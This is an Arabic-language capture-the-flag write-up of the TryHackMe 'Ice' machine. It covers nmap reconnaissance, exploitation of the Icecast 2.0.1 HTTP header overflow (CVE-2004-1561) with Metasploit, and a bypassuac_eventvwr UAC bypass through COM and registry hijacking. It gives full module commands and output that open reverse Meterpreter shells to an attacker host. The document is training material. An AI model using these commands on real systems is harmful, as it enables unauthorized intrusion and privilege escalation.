
اختراق كامل لجهاز Ice الخاص بـ TryHackMe — استغلال ثغرة Icecast 2.0.1 RCE (CVE-2004-1561) عبر تجاوز سعة المخزن المؤقت، متبوعًا برفع الامتيازات في ويندوز من خلال تجاوز UAC / اختطاف COM. يتضمن منهجية مفصلة وإجراءات معالجة.
المنصة: TryHackMe نظام التشغيل المستهدف: Windows 7 / Windows Server 2008 R2 الصعوبة: سهل الفئة: تجاوز سعة المخزن المؤقت (تنفيذ التعليمات عن بعد)، تصعيد الصلاحيات المحلي
يُوثق هذا التقرير الاختراق الكامل لجهاز Ice على منصة TryHackMe، بدءًا من الاستطلاع الأولي وحتى تصعيد الصلاحيات إلى مستوى SYSTEM. يكشف الهدف عن خادم وسائط دفق Icecast 2.0.1 قديم معرض لثغرة تجاوز سعة المخزن المؤقت عن بعد (CVE-2004-1561) تسمح بتنفيذ تعليمات عشوائية عبر رؤوس HTTP مُعدة. تم الحصول على الوصول الأولي كمستخدم منخفض الصلاحيات عبر شل عكسية من Meterpreter. ثم تم تحقيق تصعيد الصلاحيات إلى NT AUTHORITY\SYSTEM عن طريق إساءة استخدام ثغرة اختطاف كائن COM في ويندوز (bypassuac_eventvwr) والتي تستغل ملفات ثنائية ذاتية التصعيد وإعادة توجيه مفاتيح التسجيل تحت HKCU.
| المرحلة | التقنية | النتيجة |
|---|---|---|
| الاستطلاع | arp-scan, nmap | تحديد الهدف + 7 منافذ مفتوحة |
| الوصول الأولي | تجاوز سعة المخزن المؤقت لرأس HTTP في Icecast (CVE-2004-1561) | جلسة Meterpreter كمستخدم محلي |
| تصعيد الصلاحيات | bypassuac_eventvwr (اختطاف COM/التسجيل) | شل SYSTEM |
تم استخدام مسح ARP لتحديد عنوان IP للهدف على الشبكة المحلية.
arp-scan -l

تم تحديد الهدف على 192.168.37.138.
تم إجراء مسح SYN كامل مع كشف الخدمة/الإصدار على الهدف:
nmap -sS -sV 192.168.37.138
النتائج:
تم التعرف على الhost باسم DARK-PC، وهو جهاز ويندوز. برز المنفذ 8000 الذي يعمل عليه Icecast كأكثر سطح هجوم واعد — فهو ليس خدمة ويندوز قياسية ومن المعروف أنه يحمل ثغرات CVE تاريخية.
أسفر البحث عن ثغرات Icecast المعروفة عن CVE-2004-1561:
تجاوز سعة المخزن المؤقت في Icecast 2.0.1 والإصدارات السابقة يسمح للمهاجمين عن بعد بتنفيذ تعليمات عشوائية عبر طلب HTTP يحتوي على عدد كبير من الرؤوس.
تم تأكيد وجود وحدة Metasploit مطابقة:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
يفشل Icecast 2.0.1 في التحقق بشكل صحيح من حدود عدد رؤوس HTTP التي يعالجها. بإرسال رؤوس أكثر مما يمكن لمخزن الخادم المؤقت استيعابه، يفيض البيانات الزائدة إلى الذاكرة المجاورة، مما يؤدي إلى استبدال البيانات خارج المخزن المؤقت المخصص لتحليل الرؤوس.
على وجه التحديد، يؤدي الفيضان إلى إفساد عنوان العودة المحفوظ (EIP) في المكدس — وهو العنوان الذي يعود إليه وحدة المعالجة المركزية بمجرد أن تعود الدالة المعالجة للطلب. من خلال التحكم في هذا العنوان، يمكن للمهاجم إعادة توجيه التنفيذ إلى shellcode المقدم من المهاجم بدلاً من نقطة العودة الشرعية، مما يؤدي إلى تنفيذ تعليمات عشوائية في سياق عملية Icecast.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
تم إنشاء جلسة Meterpreter كمستخدم منخفض الصلاحيات.
مع وجود جلسة نشطة، تم استخدام أداة الاقتراح المدمجة في Metasploit لتحديد مسارات تصعيد الصلاحيات المحلية الممكنة لمستوى التحديثات للهدف:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

تم الإشارة إلى عدة وحدات كمرشحة محتملة، بما في ذلك bypassuac_eventvwr، التي تستهدف أجهزة Windows 7 / Server 2008 R2 غير المُصحّحة.
يستغل مسار تصعيد الصلاحيات هذا بنية COM (نموذج الكائنات المكونة) في ويندوز، والذي يسمح للمكونات المكتوبة بلغات مختلفة بالتفاعل. تعتمد كائنات COM عادةً على مكتبات DLL مشتركة، ويحدد النظام أي DLL يتم تحميله لكائن COM معين عبر مسارات التسجيل — بما في ذلك المسارات المخزنة تحت خلية HKCU للمستخدم الحالي.
eventvwr.exe هو ملف ثنائي ويندوز ذاتي التصعيد (يُفعّل بشكل صامت موجه تصعيد UAC دون إظهار الموجه نفسه، بسبب إعدادات البيان الخاص به، في تكوينات UAC الافتراضية). عند تشغيله، يستعلم عن HKCU لحل كائن COM وتحميل الـ DLL المرتبط به.
يختطف الاستغلال هذا الاستعلام: يكتب مفتاح تسجيل ضار تحت خلية HKCU للمستخدم الحالي، مشيرًا إلى حل COM نحو حمولة يتحكم بها المهاجم بدلاً من DLL النظام الشرعي. نظرًا لأن eventvwr.exe ذاتي التصعيد، فإن الحمولة التي يُفعّلها — في هذه الحالة شل أوامر — تُنفّذ بمستوى التكامل الذي يصعد إليه eventvwr.exe، مما يرفع الجلسة من مستخدم عادي إلى سياق ذي صلاحيات أعلى، دون إظهار موجه UAC مرئي.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
تم فتح جلسة Meterpreter ثانية مع شل مرتفع الصلاحيات، مباشرة في C:\Windows\system32، مما يؤكد تصعيد الصلاحيات.
| # | النتيجة | الخطورة | CVE / المرجع |
|---|
eventvwr.exe في إصدارات ويندوز اللاحقة؛ هذا الهجوم لا يعمل ضد إصدارات ويندوز الحديثة المحدثة بالكامل.arp-scan, nmap — استطلاعMetasploit Framework (msfconsole) — استغلال وما بعد الاستغلالMeterpreter — شل ما بعد الاستغلال| المنفذ | الخدمة | الإصدار |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (workgroup: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | خادم وسائط الدفق Icecast |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| 1 | تجاوز سعة المخزن المؤقت لرأس HTTP في Icecast 2.0.1 يؤدي إلى تنفيذ تعليمات عن بعد | حرج | CVE-2004-1561 |
| 2 | تجاوز UAC عبر اختطاف COM/التسجيل (التصعيد الذاتي لـ eventvwr.exe) | عالي | نقطة ضعف معروفة في تصميم UAC في Windows 7/Server 2008 R2 |